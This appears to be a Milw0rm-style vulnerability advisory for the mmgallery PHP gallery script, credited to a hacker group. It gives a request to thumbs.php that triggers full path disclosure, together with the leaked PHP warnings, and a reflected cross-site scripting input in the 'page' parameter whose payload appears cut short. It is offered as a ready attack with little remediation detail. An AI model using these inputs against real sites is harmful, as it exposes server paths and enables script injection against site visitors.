+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 
+                                                                                 ;;ii,,:: +           
+                                                 ::::            ::              ;;tt;;::           + 
+                                                 ;;::          ..,,::            ;;ii,,::           + 
+                           ,,,,                ii;;,,          ii;;::            ;;ii,,::           + 
+                           ii::                tt;;,,        ..tt;;,,..          ;;ii;;::           + 
+                         ii,,::                ttii,,        ..ff;;;;::          ;;ii;;::           + 
+                         tt;;::..,,            tt;;,,          ff;;;;ii          ;;ii,,::           + 
+                         tt;;::;;::            tt;;,,..        jj;;,,..          ;;tt,,::           + 
+                         tt;;;;,,              tt;;,,..        tt;;;;            ;;ii;;::           + 
+                     ..::,,;;,,                tt;;,,..        tt;;,,            ;;ii,,::           + 
+                 ..::,,ii;;;;..                tt;;,,..        iiii,,::          ;;ii,,::           + 
+               ::,,ttiijj;;,,                  tt;;;;..        ;;tt,,::          ;;ii,,::           + 
+             ,,;;ii    tt;;,,                  ii;;,,..        ..jj;;::          ;;ii;;::           + 
+           ;;;;::      tt;;::                  tt;;;;..          ff;;::          ;;tt,,..           + 
+         ii;;..      ,,ii;;::                  ii;;,,..          jj;;,,          ;;ii,,..           + 
+       ,,;;,,      ::;;;;;;::                  ii;;;;..          tt;;,,          ;;ii;;..           + 
+       tt;;::::  ::,,;;jj,,::                  tt;;,,..          tt;;,,          ;;ii,,..           + 
+       jj;;;;,,,,,,iiiiii;;::                ..tt;;,,::          iiii,,          ;;ii,,..           + 
+       ;;ffjjttjjttii  ii;;::                ii;;;;;;::          ..jj,,          ;;ii;;..           + 
+           ..;;..      ii;;,,::            ,,;;;;jj;;,,          ..jj,,          ;;ii,,..           + 
+                       iiii;;,,::::....::,,,,;;,,jj;;;;,,::    ::,,;;,,          ;;ii;;             + 
+                       ..ff;;;;;;,,,,::,,;;;;;;  ttii;;;;,,,,,,,,;;;;::          ;;ii,,             + 
+                         jjii;;;;;;;;;;;;;;ii..  ..ff;;;;;;;;;;;;;;;;            ;;ii,,             + 
+                           jjjj;;;;ii;;;;tt..      iijj;;;;;;;;;;ii::            ;;ii::             + 
+                             iijjjjjjtt;;            ;;ffffjjjjtt::              ;;ii               + 
+                                                           ;;..                  ii;;               + 
+                                                                                 ..       + 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 
+                                                                                                 + 
Credit by : Al7ejaz HackerZ 
mmgallery Multiple vulnerabilities 
Script : mmgallery 
Website: mmgallery.net 
Impact : FullPath disclosure and Cross site Scripting 
FullPath disclosure in thumbs.php 
********************************* 
when thumbs.php file is called directelly withowth argument this cause fullpath disclosure 
http://localhost/thumbs.php 
Result 
------------------------------------------------------------------------ 
Warning: readdir(): supplied argument is not a valid Directory resource in /var/www/photos/functions.inc on line 46 
Warning: closedir(): supplied argument is not a valid Directory resource in /var/www/user/functions.inc on line 58 
Galery :: Title ::   
Warning: opendir(.//thumbs) [function.opendir]: failed to open dir: No such file or directory in /var/www/user/functions.inc on line 99 
Warning: readdir(): supplied argument is not a valid Directory resource in /var/www/user/functions.inc on line 101 
Warning: sort() expects parameter 1 to be array, null given in /var/www/user/functions.inc on line 112 
Warning: closedir(): supplied argument is not a valid Directory resource in /var/www/user/functions.inc on line 113 
-------------------------------------------- 
Cross Site Scripting 
************************ 
page varibale is not proprely verified and can be used to execute arbitary htmlcode 
http://localhost/thumbs.php?page='> 
Al7ejaz HackerZ  ;) 
/Milw0rm